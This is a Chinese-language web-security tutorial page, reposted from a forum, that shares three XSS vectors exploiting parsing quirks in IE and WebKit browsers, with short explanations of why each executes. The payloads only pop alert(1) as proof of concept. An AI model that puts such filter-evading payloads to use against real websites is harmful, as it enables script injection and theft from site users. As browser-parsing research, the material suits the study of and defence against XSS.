网站地图    收藏   

主页 > 后端 > 网站安全 >

分享几个最近搞的XSS向量 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:02 作者: 阅读:

[导读] img src=`body/onload=alert(1) /IE在识别tag的时候必须有tag结束界定符,由于src只有属性界定符的原因,img不被认为是一个tag,所以body/onload=alert(1) /被解析了.!-- `img/src=xx:xx onerror=aler......

<img src=`<body/onload=alert(1) />
 
IE在识别tag的时候必须有tag结束界定符,由于src只有属性界定符的原因,<img不被认为是一个tag,所以<body/onload=alert(1) />被解析了.

 
<!-- `<img/src=xx:xx onerror=alert(1)//--!>
 
IE,属性界定符在注释tag中可以打破>结束符,使用前面的注释tag失效.(具体原因我也不是很清楚)
 
 
 
<svg/onload=domain=id>
 
最共22字符,webkit系浏览器有效.
 
这里的domain=id相当与document.domain=''
 
正常情况下是无法执行的.
 
配合一个webkit的bug,在host后面加个点即可执行,不过官方并不认为这是一个bug.
 
范例:http://fiddle.jshell.net./KG7fR/5/show (从jsfiddle跨到jsbin)
 
google chrome 浏览器防xss比较厉害,目前纯xss没有办法绕过。只有借助flash等第三方才可以进行绕过
 
gainover: www.2cto.com
 
<img src=`<body/onload=alert(1) />
 
反引号这个,在IE9里被修复了。 直接整个<img src=`<body/onload=alert(1) /> 都被当文本显示了。
 
转自:http://zone.wooyun.org/content/306

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论